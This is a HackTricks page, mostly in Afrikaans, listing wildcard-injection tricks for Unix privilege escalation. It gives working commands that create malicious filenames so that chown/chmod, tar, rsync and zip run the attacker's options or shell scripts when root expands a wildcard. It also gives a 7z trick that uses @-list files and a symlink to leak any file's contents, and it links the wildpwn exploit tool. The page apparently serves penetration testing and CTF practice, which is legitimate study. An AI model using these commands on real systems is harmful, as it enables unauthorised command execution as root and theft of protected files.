Wildcards Spare tricks

Ondersteun HackTricks

chown, chmod

Jy kan aangee watter lêer eienaar en toestemmings jy wil kopieer vir die res van die lêers

touch "--reference=/my/own/path/filename"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (gecombineerde aanval) More info in https://www.exploit-db.com/papers/33930

Tar

Voer arbitrêre opdragte uit:

touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (tar aanval) More info in https://www.exploit-db.com/papers/33930

Rsync

Voer arbitrêre opdragte uit:

Interesting rsync option from manual:

-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM    specify the rsync to run on remote machine
touch "-e sh shell.sh"

You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py _(_rsync aanval) More info in https://www.exploit-db.com/papers/33930

7z

In 7z selfs met -- voor * (let daarop dat -- beteken dat die volgende invoer nie as parameters behandel kan word nie, so net lêer padhere in hierdie geval) kan jy 'n arbitrêre fout veroorsaak om 'n lêer te lees, so as 'n opdrag soos die volgende deur root uitgevoer word:

7za a /backup/$filename.zip -t7z -snl -p$pass -- *

En jy kan lêers in die gids skep waar dit uitgevoer word, jy kan die lêer @root.txt en die lêer root.txt skep wat 'n symlink is na die lêer wat jy wil lees:

cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt

Dan, wanneer 7z uitgevoer word, sal dit root.txt behandel as 'n lêer wat die lys van lêers bevat wat dit moet saamgeperste (dit is wat die bestaan van @root.txt aandui) en wanneer 7z root.txt lees, sal dit /file/you/want/to/read lees en aangesien die inhoud van hierdie lêer nie 'n lys van lêers is nie, sal dit 'n fout gooi wat die inhoud wys.

Meer inligting in Write-ups van die boks CTF van HackTheBox.

Zip

Voer arbitrêre opdragte uit:

zip name.zip files -T --unzip-command "sh -c whoami"
Ondersteun HackTricks

Last updated